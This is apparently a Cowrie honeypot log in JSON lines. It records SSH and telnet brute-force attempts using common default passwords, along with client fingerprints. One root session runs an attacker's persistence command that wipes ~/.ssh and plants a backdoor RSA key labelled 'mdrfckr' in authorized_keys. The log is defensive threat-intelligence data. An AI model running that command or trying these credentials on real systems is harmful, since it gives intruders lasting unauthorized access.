{"eventid":"cowrie.session.connect","src_ip":"187.212.40.215","src_port":41856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10215f4dde7","protocol":"ssh","message":"New connection: 187.212.40.215:41856 (159.203.135.109:22) [session: d10215f4dde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.432869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.437783Z","src_ip":"187.212.40.215","session":"d10215f4dde7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.514230Z","src_ip":"187.212.40.215","session":"d10215f4dde7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.850523Z","src_ip":"187.212.40.215","session":"d10215f4dde7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:10.928763Z","src_ip":"187.212.40.215","session":"d10215f4dde7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.40.215","src_port":42314,"dst_ip":"159.203.135.109","dst_port":22,"session":"f322e4d6b9ed","protocol":"ssh","message":"New connection: 187.212.40.215:42314 (159.203.135.109:22) [session: f322e4d6b9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.003183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.007367Z","src_ip":"187.212.40.215","session":"f322e4d6b9ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.083701Z","src_ip":"187.212.40.215","session":"f322e4d6b9ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.415974Z","src_ip":"187.212.40.215","session":"f322e4d6b9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.494016Z","src_ip":"187.212.40.215","session":"f322e4d6b9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:11.498467Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"965bd6bf0196","protocol":"telnet","message":"New connection: 49.88.156.34:42542 (10.17.0.5:23) [session: 965bd6bf0196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:13.498312Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41702,"dst_ip":"10.17.0.5","dst_port":22,"session":"2944447cc832","protocol":"ssh","message":"New connection: 2.57.122.210:41702 (10.17.0.5:22) [session: 2944447cc832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:32.156276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:32.160869Z","src_ip":"2.57.122.210","session":"2944447cc832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:32.263337Z","src_ip":"2.57.122.210","session":"2944447cc832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"elayer","message":"login attempt [ubuntu/elayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:32.567431Z","src_ip":"2.57.122.210","session":"2944447cc832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:33.671380Z","src_ip":"2.57.122.210","session":"2944447cc832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.1.38.169","src_port":45022,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f26aaaa406","protocol":"ssh","message":"New connection: 128.1.38.169:45022 (159.203.135.109:22) [session: 17f26aaaa406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:34.335773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:34.341814Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:34.562907Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@WSX3e","message":"login attempt [root/1qaz@WSX3e] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:35.478293Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:35.950645Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:35.952721Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:35.954963Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:36.177573Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:36.697920Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:36.701149Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:36.927412Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:36.930544Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.1.38.169","src_port":45588,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b8f9c52728","protocol":"ssh","message":"New connection: 128.1.38.169:45588 (159.203.135.109:22) [session: 28b8f9c52728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:37.158827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:37.163354Z","src_ip":"128.1.38.169","session":"28b8f9c52728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:37.397541Z","src_ip":"128.1.38.169","session":"28b8f9c52728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:38.368092Z","src_ip":"128.1.38.169","session":"28b8f9c52728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:39.625865Z","src_ip":"128.1.38.169","session":"28b8f9c52728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.1.38.169","src_port":46062,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa20b135d11","protocol":"ssh","message":"New connection: 128.1.38.169:46062 (159.203.135.109:22) [session: baa20b135d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:39.856651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:39.864125Z","src_ip":"128.1.38.169","session":"baa20b135d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:40.098166Z","src_ip":"128.1.38.169","session":"baa20b135d11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:41.066751Z","src_ip":"128.1.38.169","session":"baa20b135d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:41.303401Z","src_ip":"128.1.38.169","session":"17f26aaaa406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:41.307853Z","src_ip":"128.1.38.169","session":"baa20b135d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.24513006210327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:45.743345Z","src_ip":"49.88.156.34","session":"965bd6bf0196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.62.66","src_port":48126,"dst_ip":"159.203.135.109","dst_port":22,"session":"41e3ee89d767","protocol":"ssh","message":"New connection: 194.164.62.66:48126 (159.203.135.109:22) [session: 41e3ee89d767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:29.914594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.046576Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.050049Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.660669Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
